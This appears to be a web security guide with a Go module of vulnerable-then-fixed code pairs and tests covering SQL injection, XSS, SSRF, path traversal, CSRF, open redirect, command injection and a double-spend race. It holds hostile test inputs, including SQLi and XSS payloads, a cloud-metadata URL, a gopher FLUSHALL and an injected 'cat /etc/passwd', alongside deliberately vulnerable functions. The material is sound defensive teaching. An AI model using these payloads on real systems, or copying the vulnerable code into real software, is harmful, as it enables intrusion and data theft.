PostgreSQLERROR: syntax error at or near "'" (SQLSTATE 42601)Typical response to a quote injected into concatenated SQLFind the concatenation; alert on bursts
MySQLERROR 1064 (42000): You have an error in your SQL syntaxSame, MySQLSame
PostgreSQLcanceling statement due to statement timeout after pg_sleepTime-based blind injection probestatement_timeout, fix the query
Browser consoleRefused to execute inline script because it violates the following Content Security Policy directiveCSP blocked a scriptAdd nonce to legitimate scripts; inspect reports
Browser consoleThis document requires 'TrustedHTML' assignmentTrusted Types blocked an innerHTML stringRoute through a policy with a sanitiser
Browser consoleRefused to display ... in a frame because an ancestor violates ... frame-ancestorsClickjacking protection workingExpected
Browser consoleFailed to find a valid digest in the 'integrity' attributeSRI hash mismatchUpdate the hash only after reviewing the new file
composer auditexit code 1Advisory, abandoned or malware package matchedUpdate or document the ignore
govulncheckYour code is affected by N vulnerabilities with call stacksReachable vulnerable symbolUpgrade the module

Category → CWE → detection ​

CategoryKey CWEs (rank in CWE Top 25 2025)SAST rule examplesDAST check
A01CWE-862 (4), CWE-22 (6), CWE-863 (17), CWE-284 (19), CWE-639 (24), CWE-352 (3)gosec G304/G305; semgrep path-traversal rulesTwo-account replay, ../ fuzzing
A03CWE-79 (1), CWE-89 (2), CWE-78 (9), CWE-94 (10), CWE-77 (23)gosec G201/G202/G203/G204, semgrep tainted-sql-stringZAP active scan SQLi/XSS rules, sqlmap
A05CWE-16, CWE-611 (XXE)Config linters, Checkov/tfsec for bucketsZAP baseline header checks
A06 / A03:2025CWE-1104, CWE-1395govulncheck, composer auditVersion fingerprinting
A08CWE-502 (15), CWE-829, CWE-494semgrep unserialize rules, PHPStan custom rulesFuzz cookies with serialized payloads
A10 / A01:2025CWE-918 (22)gosec G107 and G704 (taint)Out-of-band callback (Burp Collaborator, ZAP OAST)
UploadCWE-434 (12)Code review of storage pathsUpload polyglots, SVG, oversized images

What a defence costs ​

ControlCost per request (estimate, single server)
Prepared statement vs concatenated queryNo measurable difference for typical OLTP; drivers cache plans
html/template vs text/templateMicroseconds of escaping per page
CSP nonce generation (16 bytes from crypto/rand)Under a microsecond
CSRF token compareConstant-time compare of 43 bytes
SSRF dialer checkOne netip parse and a few prefix checks
Image DecodeConfigReads only the header (tens of bytes)
govulncheck / composer auditSeconds in CI, zero at run time

These are back-of-the-envelope estimates from the operations involved, not benchmarks; the point is that none of these defences is a performance trade-off worth discussing.

Go ​

Example: vulnerable-then-fixed pairs with tests ​

All Go code is one stdlib-only module (go 1.24, because os.Root is new in 1.24); every package has a test that shows the attack succeeding against the "before" code and failing against the "after" code.

SQL injection: concatenation versus placeholders and an ORDER BY allowlist:

go
// Package sqli shows A03 Injection against database/sql: the vulnerable
// versions build SQL text from input; the fixed versions bind values and map
// structural choices (sort column, direction) to an allowlist.
package sqli

import (
	"context"
	"database/sql"
	"fmt"
)

// FindUserBefore concatenates the email into the SQL text. The input becomes
// part of the query's syntax: ' OR '1'='1 returns every row. gosec: G202.
func FindUserBefore(ctx context.Context, db *sql.DB, email string) (*sql.Rows, error) {
	q := "SELECT id, email, role FROM users WHERE email = '" + email + "'"
	return db.QueryContext(ctx, q)
}

// SearchBefore lets the client pick the ORDER BY clause and formats the search
// term into a LIKE pattern. Both are injection points. gosec: G201.
func SearchBefore(ctx context.Context, db *sql.DB, term, sort string) (*sql.Rows, error) {
	q := fmt.Sprintf("SELECT id, title FROM posts WHERE title LIKE '%%%s%%' ORDER BY %s", term, sort)
	return db.QueryContext(ctx, q)
}
go
package sqli

import (
	"context"
	"database/sql"
	"errors"
	"strings"
)

// ErrBadSort is returned for a sort key that is not on the allowlist.
var ErrBadSort = errors.New("sqli: unknown sort key")

// User is a row of the users table.
type User struct {
	ID    int64
	Email string
	Role  string
}

// Post is a row of the posts table.
type Post struct {
	ID    int64
	Title string
}

// sortColumns maps a public sort key to application-owned SQL. Placeholders
// cannot carry identifiers or ASC/DESC, so structure comes from this table.
var sortColumns = map[string]string{
	"newest": "created_at DESC",
	"oldest": "created_at ASC",
	"title":  "title ASC",
}

// FindUser sends the SQL text and the value separately ($1 is a PostgreSQL
// placeholder; MySQL and SQLite drivers use ?). The driver never splices the
// value into the statement, so a quote in the email is just a character.
func FindUser(ctx context.Context, db *sql.DB, email string) (User, error) {
	var u User
	err := db.QueryRowContext(ctx,
		"SELECT id, email, role FROM users WHERE email = $1", email,
	).Scan(&u.ID, &u.Email, &u.Role)
	return u, err
}

// Search binds the LIKE pattern, escapes LIKE wildcards so "50%" means a
// literal percent sign, caps the limit and takes ORDER BY from the allowlist.
func Search(ctx context.Context, db *sql.DB, term, sort string, limit int) ([]Post, error) {
	order, ok := sortColumns[sort]
	if !ok {
		return nil, ErrBadSort
	}
	if limit < 1 || limit > 100 {
		limit = 20
	}
	// The concatenated part is a constant from sortColumns, never input.
	q := `SELECT id, title FROM posts WHERE title LIKE $1 ESCAPE '\' ORDER BY ` + order + ` LIMIT $2`
	rows, err := db.QueryContext(ctx, q, "%"+EscapeLike(term)+"%", limit)
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	var out []Post
	for rows.Next() {
		var p Post
		if err := rows.Scan(&p.ID, &p.Title); err != nil {
			return nil, err
		}
		out = append(out, p)
	}
	return out, rows.Err()
}

// EscapeLike neutralises the LIKE metacharacters. It is not an SQL escaper:
// the result is still passed as a bound parameter.
func EscapeLike(s string) string {
	return strings.NewReplacer(`\`, `\\`, `%`, `\%`, `_`, `\_`).Replace(s)
}

The test uses a tiny recording database/sql driver to prove the payload travels as a bound argument:

go
package sqli

import (
	"context"
	"database/sql"
	"database/sql/driver"
	"errors"
	"io"
	"strings"
	"sync"
	"testing"
)

// recorder is a tiny database/sql driver that records what the application
// sends: the SQL text and, separately, the bound arguments.
type recorder struct {
	mu    sync.Mutex
	query string
	args  []driver.Value
}

var rec = &recorder{}

func init() { sql.Register("recorder", drv{}) }

type drv struct{}

func (drv) Open(string) (driver.Conn, error) { return conn{}, nil }

type conn struct{}

func (conn) Prepare(string) (driver.Stmt, error) { return nil, errors.New("unused") }
func (conn) Close() error                        { return nil }
func (conn) Begin() (driver.Tx, error)           { return nil, errors.New("unused") }

func (conn) QueryContext(_ context.Context, q string, args []driver.NamedValue) (driver.Rows, error) {
	rec.mu.Lock()
	defer rec.mu.Unlock()
	rec.query, rec.args = q, nil
	for _, a := range args {
		rec.args = append(rec.args, a.Value)
	}
	if strings.Contains(q, "FROM posts") {
		return &rows{cols: []string{"id", "title"}, data: [][]driver.Value{{int64(7), "hello"}}}, nil
	}
	return &rows{cols: []string{"id", "email", "role"}, data: [][]driver.Value{{int64(1), "ana@example.com", "user"}}}, nil
}

type rows struct {
	cols []string
	data [][]driver.Value
	i    int
}

func (r *rows) Columns() []string { return r.cols }
func (r *rows) Close() error      { return nil }
func (r *rows) Next(dest []driver.Value) error {
	if r.i >= len(r.data) {
		return io.EOF
	}
	copy(dest, r.data[r.i])
	r.i++
	return nil
}

func openDB(t *testing.T) *sql.DB {
	t.Helper()
	db, err := sql.Open("recorder", "")
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { db.Close() })
	return db
}

const payload = "x' OR '1'='1"

func TestConcatenationChangesTheQuery(t *testing.T) {
	db := openDB(t)
	rows, err := FindUserBefore(context.Background(), db, payload)
	if err != nil {
		t.Fatal(err)
	}
	rows.Close()
	if !strings.Contains(rec.query, "OR '1'='1'") || len(rec.args) != 0 {
		t.Fatalf("expected the payload inside the SQL text, got %q args=%v", rec.query, rec.args)
	}
}

func TestPlaceholderKeepsDataOutOfTheQuery(t *testing.T) {
	db := openDB(t)
	if _, err := FindUser(context.Background(), db, payload); err != nil {
		t.Fatal(err)
	}
	if rec.query != "SELECT id, email, role FROM users WHERE email = $1" {
		t.Fatalf("query text changed: %q", rec.query)
	}
	if len(rec.args) != 1 || rec.args[0] != payload {
		t.Fatalf("payload must travel as a bound argument, got %v", rec.args)
	}
}

func TestSortAllowlist(t *testing.T) {
	db := openDB(t)
	rec.query = ""
	_, err := Search(context.Background(), db, "go", "created_at; DROP TABLE posts", 10)
	if !errors.Is(err, ErrBadSort) || rec.query != "" {
		t.Fatalf("unknown sort must be rejected before any SQL is sent: err=%v query=%q", err, rec.query)
	}
	posts, err := Search(context.Background(), db, "50%_off", "newest", 1000)
	if err != nil || len(posts) != 1 {
		t.Fatalf("search failed: %v %v", posts, err)
	}
	if rec.args[0] != `%50\%\_off%` || rec.args[1] != int64(20) {
		t.Fatalf("pattern or limit not normalised: %v", rec.args)
	}
	if !strings.HasSuffix(rec.query, "ORDER BY created_at DESC LIMIT $2") {
		t.Fatalf("order clause not from allowlist: %q", rec.query)
	}
}

XSS: the same template under text/template and html/template:

go
// Package xss renders the same profile page twice: with text/template, which
// copies data verbatim, and with html/template, which escapes each value for
// the context it lands in (element body, attribute, URL, JavaScript).
package xss

import (
	"io"
	texttemplate "text/template"
)

// Profile is user-controlled data shown on a public page.
type Profile struct {
	Name    string
	Bio     string
	Website string
	Nonce   string // per-response CSP nonce from the headers middleware
}

const page = `<h1>{{.Name}}</h1>
<p title="{{.Bio}}">{{.Bio}}</p>
<a href="{{.Website}}">website</a>
<script nonce="{{.Nonce}}">const user = {{.Name}};</script>
`

// renderBefore uses text/template: a stored bio of <script>...</script>
// becomes executable markup for every visitor (stored XSS).
var renderBefore = texttemplate.Must(texttemplate.New("profile").Parse(page))

// RenderBefore writes the page without any output encoding.
func RenderBefore(w io.Writer, p Profile) error { return renderBefore.Execute(w, p) }
go
package xss

import (
	"html/template"
	"io"
)

// render uses html/template: the same template text, contextual escaping.
//   - element body and attribute: < > " ' & become entities
//   - href: a javascript: URL is replaced with #ZgotmplZ
//   - inside <script>: the value is emitted as a quoted JS string
var render = template.Must(template.New("profile").Parse(page))

// Render writes the page with context-aware escaping. Never convert user
// input to template.HTML, template.JS or template.URL: those types switch the
// escaping off (gosec G203).
func Render(w io.Writer, p Profile) error { return render.Execute(w, p) }
go
package xss

import (
	"strings"
	"testing"
)

var evil = Profile{
	Name:    `</script><script>alert(1)</script>`,
	Bio:     `" onmouseover="alert(2)`,
	Website: `javascript:alert(3)`,
	Nonce:   "r4nd0m",
}

func TestTextTemplateIsInjectable(t *testing.T) {
	var b strings.Builder
	if err := RenderBefore(&b, evil); err != nil {
		t.Fatal(err)
	}
	out := b.String()
	for _, want := range []string{`<script>alert(1)</script>`, `onmouseover="alert(2)`, `href="javascript:alert(3)"`} {
		if !strings.Contains(out, want) {
			t.Fatalf("expected raw payload %q in output:\n%s", want, out)
		}
	}
}

func TestHTMLTemplateEscapesPerContext(t *testing.T) {
	var b strings.Builder
	if err := Render(&b, evil); err != nil {
		t.Fatal(err)
	}
	out := b.String()
	if strings.Contains(out, "<script>alert(1)") || strings.Contains(out, `" onmouseover=`) {
		t.Fatalf("payload survived:\n%s", out)
	}
	for _, want := range []string{
		`&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;`, // body
		`title="&#34; onmouseover=&#34;alert(2)"`,              // attribute
		`href="#ZgotmplZ"`, // unsafe URL scheme
		`nonce="r4nd0m"`,
		"const user = \"\\" + "u003c/script", // JS string context: \u003c, not <
	} {
		if !strings.Contains(out, want) {
			t.Fatalf("missing %q in:\n%s", want, out)
		}
	}
}

SSRF: naive fetch, then URL checks plus an IP check inside the dialer:

go
// Package ssrf fetches a user-supplied URL (webhook test, link preview,
// "import from URL") without letting the caller reach internal addresses.
package ssrf

import (
	"io"
	"net/http"
)

// FetchBefore trusts the URL: http://169.254.169.254/latest/meta-data/ returns
// cloud credentials, http://localhost:6379 talks to Redis, and a redirect from
// an allowed host lands anywhere.
func FetchBefore(raw string) ([]byte, error) {
	resp, err := http.Get(raw) // gosec G107: URL provided as taint input
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	return io.ReadAll(resp.Body)
}
go
package ssrf

import (
	"context"
	"errors"
	"fmt"
	"io"
	"net"
	"net/http"
	"net/netip"
	"net/url"
	"strings"
	"syscall"
	"time"
)

// ErrBlocked means the destination failed the policy.
var ErrBlocked = errors.New("ssrf: destination not allowed")

// Policy describes where outbound requests may go.
type Policy struct {
	// AllowedHosts, when non-empty, is an exact-match host allowlist (lower case).
	AllowedHosts map[string]bool
	// AllowedPorts defaults to 443 only.
	AllowedPorts map[string]bool
	// MaxBody caps the response size (default 1 MiB).
	MaxBody int64
}

// Ranges that IsPrivate/IsLoopback/IsLinkLocal do not cover but that must
// never be reached from a URL fetcher.
var blocked = []netip.Prefix{
	netip.MustParsePrefix("0.0.0.0/8"),
	netip.MustParsePrefix("100.64.0.0/10"), // carrier-grade NAT
	netip.MustParsePrefix("192.0.0.0/24"),
	netip.MustParsePrefix("192.0.2.0/24"), // documentation
	netip.MustParsePrefix("198.18.0.0/15"),
	netip.MustParsePrefix("198.51.100.0/24"),
	netip.MustParsePrefix("203.0.113.0/24"),
	netip.MustParsePrefix("240.0.0.0/4"),
	netip.MustParsePrefix("64:ff9b::/96"), // NAT64 can map to 169.254.169.254
	netip.MustParsePrefix("2001:db8::/32"),
}

// IsPublic reports whether ip is a globally routable unicast address.
// IPv4-mapped IPv6 (::ffff:169.254.169.254) is unmapped first.
func IsPublic(ip netip.Addr) bool {
	ip = ip.Unmap()
	if !ip.IsValid() || ip.IsUnspecified() || ip.IsLoopback() || ip.IsPrivate() ||
		ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
		ip.IsInterfaceLocalMulticast() || ip.IsMulticast() {
		return false // 169.254.0.0/16 (metadata) and fe80::/10 are link-local
	}
	for _, p := range blocked {
		if p.Contains(ip) {
			return false
		}
	}
	return true
}

func (p Policy) portOK(port string) bool {
	if len(p.AllowedPorts) == 0 {
		return port == "443"
	}
	return p.AllowedPorts[port]
}

// CheckURL is the cheap first gate: scheme, credentials, host allowlist, port.
// It cannot stop DNS rebinding on its own; the dialer check below does.
func (p Policy) CheckURL(raw string) (*url.URL, error) {
	u, err := url.Parse(raw)
	if err != nil {
		return nil, fmt.Errorf("%w: %v", ErrBlocked, err)
	}
	if u.Scheme != "https" || u.User != nil || u.Hostname() == "" {
		return nil, fmt.Errorf("%w: scheme, userinfo or host", ErrBlocked)
	}
	host := strings.ToLower(strings.TrimSuffix(u.Hostname(), "."))
	if len(p.AllowedHosts) > 0 && !p.AllowedHosts[host] {
		return nil, fmt.Errorf("%w: host %q not on allowlist", ErrBlocked, host)
	}
	port := u.Port()
	if port == "" {
		port = "443"
	}
	if !p.portOK(port) {
		return nil, fmt.Errorf("%w: port %s", ErrBlocked, port)
	}
	return u, nil
}

// control runs after DNS resolution, on the exact IP the socket is about to
// connect to. A rebinding DNS answer (public at check time, 127.0.0.1 at
// connect time) is caught here because there is no second lookup.
func (p Policy) control(_, address string, _ syscall.RawConn) error {
	host, port, err := net.SplitHostPort(address)
	if err != nil {
		return fmt.Errorf("%w: %v", ErrBlocked, err)
	}
	ip, err := netip.ParseAddr(host)
	if err != nil || !IsPublic(ip) || !p.portOK(port) {
		return fmt.Errorf("%w: %s", ErrBlocked, address)
	}
	return nil
}

func (p Policy) checkRedirect(req *http.Request, via []*http.Request) error {
	if len(via) >= 3 {
		return fmt.Errorf("%w: too many redirects", ErrBlocked)
	}
	_, err := p.CheckURL(req.URL.String())
	return err
}

// Client returns an http.Client whose every connection, including redirects,
// passes the policy. Proxy is nil on purpose: with a proxy the dial target is
// the proxy, and the policy would check the wrong address.
func (p Policy) Client() *http.Client {
	d := &net.Dialer{Timeout: 3 * time.Second, Control: p.control}
	return &http.Client{
		Timeout:       10 * time.Second,
		CheckRedirect: p.checkRedirect,
		Transport: &http.Transport{
			Proxy:                  nil,
			DialContext:            d.DialContext,
			TLSHandshakeTimeout:    3 * time.Second,
			ResponseHeaderTimeout:  5 * time.Second,
			MaxResponseHeaderBytes: 64 << 10,
			ForceAttemptHTTP2:      true,
		},
	}
}

// Fetch validates the URL, fetches it through the guarded client and caps the
// body. Errors are generic towards the caller: do not echo internal responses.
func (p Policy) Fetch(ctx context.Context, c *http.Client, raw string) ([]byte, error) {
	u, err := p.CheckURL(raw)
	if err != nil {
		return nil, err
	}
	req, err := http.NewRequestWithContext(ctx, http.MethodGet, u.String(), nil)
	if err != nil {
		return nil, err
	}
	resp, err := c.Do(req)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	limit := p.MaxBody
	if limit <= 0 {
		limit = 1 << 20
	}
	body, err := io.ReadAll(io.LimitReader(resp.Body, limit+1))
	if err != nil {
		return nil, err
	}
	if int64(len(body)) > limit {
		return nil, fmt.Errorf("ssrf: response larger than %d bytes", limit)
	}
	return body, nil
}
go
package ssrf

import (
	"context"
	"errors"
	"net/http"
	"net/http/httptest"
	"net/netip"
	"net/url"
	"testing"
)

func TestInternalAddressesAreNotPublic(t *testing.T) {
	for _, s := range []string{
		"127.0.0.1", "10.0.0.5", "172.16.3.4", "192.168.1.1", "169.254.169.254",
		"169.254.170.2", "100.64.0.1", "0.0.0.0", "::1", "fe80::1", "fd00:ec2::254",
		"::ffff:169.254.169.254", "64:ff9b::a9fe:a9fe", "192.0.2.10", "2001:db8::1",
	} {
		if IsPublic(netip.MustParseAddr(s)) {
			t.Errorf("%s must be blocked", s)
		}
	}
}

func TestCheckURL(t *testing.T) {
	p := Policy{AllowedHosts: map[string]bool{"api.partner.example": true}}
	for _, raw := range []string{
		"http://api.partner.example/",          // plain HTTP
		"https://user:pw@api.partner.example/", // userinfo tricks
		"https://evil.example/",                // not on allowlist
		"https://api.partner.example:8443/",    // port
		"file:///etc/passwd",
		"gopher://127.0.0.1:6379/_FLUSHALL",
	} {
		if _, err := p.CheckURL(raw); !errors.Is(err, ErrBlocked) {
			t.Errorf("%s: want ErrBlocked, got %v", raw, err)
		}
	}
	if _, err := p.CheckURL("https://API.partner.example./v1"); err != nil {
		t.Errorf("allowed host rejected: %v", err)
	}
}

func TestDialerBlocksLoopbackEvenWhenURLLooksFine(t *testing.T) {
	srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
		_, _ = w.Write([]byte("internal secret"))
	}))
	defer srv.Close()
	u, _ := url.Parse(srv.URL) // https://127.0.0.1:port
	p := Policy{AllowedPorts: map[string]bool{u.Port(): true}}
	_, err := p.Fetch(context.Background(), p.Client(), srv.URL)
	if !errors.Is(err, ErrBlocked) {
		t.Fatalf("loopback must be refused at connect time, got %v", err)
	}
}

func TestRedirectIsRechecked(t *testing.T) {
	p := Policy{}
	req := httptest.NewRequest(http.MethodGet, "http://169.254.169.254/latest/meta-data/", nil)
	if err := p.checkRedirect(req, []*http.Request{req}); !errors.Is(err, ErrBlocked) {
		t.Fatalf("redirect to metadata must be blocked, got %v", err)
	}
}

Mass assignment: decoding into the model versus an input DTO:

go
// Package massassign shows mass assignment (autobinding): decoding a request
// body straight into the persistence struct lets a client set fields the form
// never offered, such as role or balance.
package massassign

import (
	"encoding/json"
	"errors"
	"net/http"
	"strings"
)

// User is the stored record. Role and EmailVerified are server-owned.
type User struct {
	ID            int64  `json:"id"`
	Name          string `json:"name"`
	Bio           string `json:"bio"`
	Role          string `json:"role"`
	EmailVerified bool   `json:"email_verified"`
}

// UpdateBefore decodes into the whole User: {"role":"admin"} is accepted.
func UpdateBefore(u *User, r *http.Request) error {
	return json.NewDecoder(r.Body).Decode(u)
}

// ProfileInput is the allowlist: only fields a user may change, as pointers so
// "absent" and "empty" differ.
type ProfileInput struct {
	Name *string `json:"name"`
	Bio  *string `json:"bio"`
}

// ErrInvalid is returned for unknown fields or bad values.
var ErrInvalid = errors.New("massassign: invalid input")

// Update decodes into the input type, rejects unknown fields (so a client
// probing for "role" gets a 400, not a silent ignore) and copies explicitly.
func Update(u *User, w http.ResponseWriter, r *http.Request) error {
	dec := json.NewDecoder(http.MaxBytesReader(w, r.Body, 16<<10))
	dec.DisallowUnknownFields()
	var in ProfileInput
	if err := dec.Decode(&in); err != nil {
		return errors.Join(ErrInvalid, err)
	}
	if in.Name != nil {
		n := strings.TrimSpace(*in.Name)
		if n == "" || len(n) > 100 {
			return ErrInvalid
		}
		u.Name = n
	}
	if in.Bio != nil {
		if len(*in.Bio) > 1000 {
			return ErrInvalid
		}
		u.Bio = *in.Bio
	}
	return nil
}

Path traversal: filepath.Join versus os.Root:

go
// Package pathtraversal serves files by name from one directory.
package pathtraversal

import (
	"io"
	"net/http"
	"os"
	"path/filepath"
)

// DownloadBefore joins the query parameter onto the base directory.
// name=../config/.env walks out of it (CWE-22). filepath.Join cleans the
// path but happily resolves the "..". gosec: G304.
func DownloadBefore(base string) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		f, err := os.Open(filepath.Join(base, r.URL.Query().Get("name")))
		if err != nil {
			http.NotFound(w, r)
			return
		}
		defer f.Close()
		_, _ = io.Copy(w, f)
	}
}

// Download opens the directory once as an os.Root (Go 1.24+). Every Open is
// resolved inside it: "..", absolute paths and symlinks that point outside
// fail with "path escapes from parent".
func Download(root *os.Root) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")
		if name == "" || !filepath.IsLocal(name) { // cheap early reject
			http.Error(w, "bad name", http.StatusBadRequest)
			return
		}
		f, err := root.Open(name)
		if err != nil {
			http.NotFound(w, r)
			return
		}
		defer f.Close()
		w.Header().Set("Content-Type", "application/octet-stream")
		w.Header().Set("Content-Disposition", "attachment")
		w.Header().Set("X-Content-Type-Options", "nosniff")
		_, _ = io.Copy(w, f)
	}
}

CSRF middleware (Fetch Metadata first, synchronizer token fallback):

go
// Package csrf is a two-layer CSRF guard in the shape Laravel 13 uses:
// Fetch Metadata (Sec-Fetch-Site) first, a synchronizer token as fallback.
// Go 1.25+ also ships http.CrossOriginProtection for the first layer.
package csrf

import (
	"crypto/rand"
	"crypto/subtle"
	"encoding/base64"
	"net/http"
)

// Sessions looks up the synchronizer token stored server-side for a session.
type Sessions interface {
	CSRFToken(sessionID string) (string, bool)
}

// Guard protects state-changing requests.
type Guard struct {
	Sessions       Sessions
	TrustedOrigins map[string]bool // e.g. "https://app.example.com"
	CookieName     string          // session cookie, e.g. "__Host-sid"
}

// NewToken returns 32 random bytes, base64url: one per session, rotated on login.
func NewToken() string {
	b := make([]byte, 32)
	_, _ = rand.Read(b)
	return base64.RawURLEncoding.EncodeToString(b)
}

func safeMethod(m string) bool {
	return m == http.MethodGet || m == http.MethodHead || m == http.MethodOptions
}

// Wrap rejects cross-site writes with 403 and token mismatches with 419,
// the status Laravel uses for "Page Expired".
func (g Guard) Wrap(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if safeMethod(r.Method) {
			next.ServeHTTP(w, r) // GET must never change state
			return
		}
		switch r.Header.Get("Sec-Fetch-Site") {
		case "same-origin":
			next.ServeHTTP(w, r)
			return
		case "cross-site", "same-site":
			if !g.TrustedOrigins[r.Header.Get("Origin")] {
				http.Error(w, "csrf: cross-origin request", http.StatusForbidden)
				return
			}
			next.ServeHTTP(w, r)
			return
		}
		// No Fetch Metadata (old browser, plain HTTP, non-browser client):
		// fall back to the synchronizer token.
		c, err := r.Cookie(g.CookieName)
		if err != nil {
			http.Error(w, "csrf: no session", 419)
			return
		}
		want, ok := g.Sessions.CSRFToken(c.Value)
		got := r.Header.Get("X-CSRF-Token")
		if got == "" {
			got = r.PostFormValue("_token")
		}
		if !ok || subtle.ConstantTimeCompare([]byte(got), []byte(want)) != 1 {
			http.Error(w, "csrf: token mismatch", 419)
			return
		}
		next.ServeHTTP(w, r)
	})
}

Security headers with a per-request CSP nonce:

go
// Package headers sets the response security headers (A05) and a per-request
// CSP nonce for a strict, nonce-based Content Security Policy.
package headers

import (
	"context"
	"crypto/rand"
	"encoding/base64"
	"net/http"
)

type nonceKey struct{}

// Nonce returns the CSP nonce for this request, for <script nonce="...">.
func Nonce(ctx context.Context) string {
	n, _ := ctx.Value(nonceKey{}).(string)
	return n
}

func newNonce() string {
	b := make([]byte, 16) // 128 bits, fresh per response
	_, _ = rand.Read(b)
	return base64.StdEncoding.EncodeToString(b)
}

// Secure adds the headers and stores the nonce in the request context.
func Secure(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		n := newNonce()
		h := w.Header()
		h.Set("Content-Security-Policy",
			"script-src 'nonce-"+n+"' 'strict-dynamic'; object-src 'none'; base-uri 'none'; "+
				"frame-ancestors 'none'; form-action 'self'; require-trusted-types-for 'script'")
		h.Set("Strict-Transport-Security", "max-age=63072000; includeSubDomains; preload")
		h.Set("X-Content-Type-Options", "nosniff")
		h.Set("Referrer-Policy", "strict-origin-when-cross-origin")
		h.Set("Permissions-Policy", "camera=(), microphone=(), geolocation=(), payment=()")
		h.Set("X-Frame-Options", "DENY") // for browsers without frame-ancestors
		h.Set("Cross-Origin-Opener-Policy", "same-origin")
		h.Del("Server")
		h.Del("X-Powered-By")
		next.ServeHTTP(w, r.WithContext(context.WithValue(r.Context(), nonceKey{}, n)))
	})
}

Open redirect:

go
// Package redirect closes open redirects: ?next= may only name a local path.
package redirect

import (
	"net/http"
	"net/url"
	"strings"
)

// LoginBefore redirects to whatever ?next= says: /login?next=https://evil.example
// sends a freshly logged-in user to a phishing page under your domain's name.
func LoginBefore(w http.ResponseWriter, r *http.Request) {
	http.Redirect(w, r, r.URL.Query().Get("next"), http.StatusSeeOther)
}

// SafeNext returns next if it is a same-site path, otherwise fallback.
// Rejected: absolute URLs, scheme-relative //evil.example, backslash tricks
// (/\evil.example, which browsers normalise to //), and control characters.
func SafeNext(next, fallback string) string {
	if next == "" || !strings.HasPrefix(next, "/") || strings.HasPrefix(next, "//") ||
		strings.ContainsAny(next, "\\\r\n\t") {
		return fallback
	}
	u, err := url.Parse(next)
	if err != nil || u.IsAbs() || u.Host != "" {
		return fallback
	}
	return next
}

// Login redirects only to local paths.
func Login(w http.ResponseWriter, r *http.Request) {
	http.Redirect(w, r, SafeNext(r.URL.Query().Get("next"), "/dashboard"), http.StatusSeeOther)
}

Command injection:

go
// Package cmdinject runs an external program with user input. The fix is to
// avoid the shell, validate the value, and end option parsing with "--".
package cmdinject

import (
	"context"
	"errors"
	"os/exec"
	"regexp"
)

// PingBefore hands the input to /bin/sh: host = "example.com; cat /etc/passwd"
// runs a second command. gosec: G204.
func PingBefore(ctx context.Context, host string) *exec.Cmd {
	return exec.CommandContext(ctx, "sh", "-c", "ping -c 1 "+host)
}

// ErrBadHost is returned for anything that is not a plain hostname.
var ErrBadHost = errors.New("cmdinject: invalid host")

var hostname = regexp.MustCompile(`^[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?(\.[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?)*$`)

// Ping passes the host as one argv element (no shell, so ; | $() and
// backticks are plain characters) after an allowlist check. The regexp also
// refuses a leading "-", which would be argument injection (-oProxyCommand=).
func Ping(ctx context.Context, host string) (*exec.Cmd, error) {
	if len(host) > 253 || !hostname.MatchString(host) {
		return nil, ErrBadHost
	}
	return exec.CommandContext(ctx, "ping", "-c", "1", "--", host), nil
}

Double spend (TOCTOU) and its atomic, idempotent fix:

go
// Package wallet shows a business-logic race (TOCTOU, double spend): two
// withdrawals both pass the balance check before either one writes.
package wallet

import (
	"errors"
	"sync"
)

// ErrInsufficient is returned when the balance does not cover the amount.
var ErrInsufficient = errors.New("wallet: insufficient funds")

// Before checks, then acts, with nothing tying the two steps together. In SQL
// this is SELECT balance ...; if ok: UPDATE ... SET balance = :computed.
type Before struct {
	mu      sync.Mutex
	balance int64
	// between runs between the check and the write; tests use it to widen
	// the race window the way a slow fraud check or network call would.
	between func()
}

// NewBefore returns a vulnerable wallet.
func NewBefore(balance int64, between func()) *Before {
	return &Before{balance: balance, between: between}
}

func (w *Before) read() int64 { w.mu.Lock(); defer w.mu.Unlock(); return w.balance }

// Withdraw is check-then-act: the check and the write are separate steps.
func (w *Before) Withdraw(amount int64) error {
	bal := w.read() // time of check
	if bal < amount {
		return ErrInsufficient
	}
	if w.between != nil {
		w.between()
	}
	w.mu.Lock()
	w.balance = bal - amount // time of use: writes a stale computation
	w.mu.Unlock()
	return nil
}

// Balance returns the current balance.
func (w *Before) Balance() int64 { return w.read() }

// After makes the check part of the write, the in-memory twin of
//
//	UPDATE accounts SET balance = balance - $1 WHERE id = $2 AND balance >= $1
//
// and records idempotency keys so a retried request is not applied twice.
type After struct {
	mu      sync.Mutex
	balance int64
	seen    map[string]error
}

// NewAfter returns a safe wallet.
func NewAfter(balance int64) *After { return &After{balance: balance, seen: map[string]error{}} }

// Withdraw is atomic per wallet and idempotent per key.
func (w *After) Withdraw(idempotencyKey string, amount int64) error {
	w.mu.Lock()
	defer w.mu.Unlock()
	if err, ok := w.seen[idempotencyKey]; ok {
		return err // same answer as the first attempt, no second debit
	}
	var err error
	if w.balance >= amount {
		w.balance -= amount
	} else {
		err = ErrInsufficient
	}
	w.seen[idempotencyKey] = err
	return err
}

// Balance returns the current balance.
func (w *After) Balance() int64 { w.mu.Lock(); defer w.mu.Unlock(); return w.balance }
go
package wallet

import (
	"fmt"
	"sync"
	"testing"
)

func TestBeforeDoubleSpends(t *testing.T) {
	var barrier sync.WaitGroup
	barrier.Add(2)
	w := NewBefore(100, func() { barrier.Done(); barrier.Wait() }) // both checked
	var wg sync.WaitGroup
	var mu sync.Mutex
	ok := 0
	for i := 0; i < 2; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			if w.Withdraw(100) == nil {
				mu.Lock()
				ok++
				mu.Unlock()
			}
		}()
	}
	wg.Wait()
	if ok != 2 {
		t.Fatalf("expected both withdrawals to pass the stale check, got %d", ok)
	}
	t.Logf("paid out 200 from a balance of 100; balance now %d", w.Balance())
}

